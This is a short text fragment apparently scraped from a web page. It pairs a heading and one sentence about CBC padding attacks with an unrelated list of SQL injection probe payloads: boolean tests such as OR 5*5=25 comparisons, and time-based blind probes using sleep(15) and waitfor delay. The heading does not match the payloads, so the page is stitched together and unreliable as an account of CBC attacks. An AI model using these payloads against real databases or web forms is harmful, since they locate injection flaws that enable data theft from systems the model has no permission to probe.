CBC Padding Attack
CBC is one of the best modes of operation for block ciphers, but even leaking a tiny amount of information is enough to completely undermine its security.
-1" OR 5*5=25 --
-1" OR 5*5=26 --
-1' OR 5*5=25 or 'Zx1W3nVy'='
-1' OR 5*5=26 or 'Zx1W3nVy'='
-1" OR 5*5=25 or "G16Q6pqK"="
-1" OR 5*5=26 or "G16Q6pqK"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1; waitfor delay '0:0:15' --
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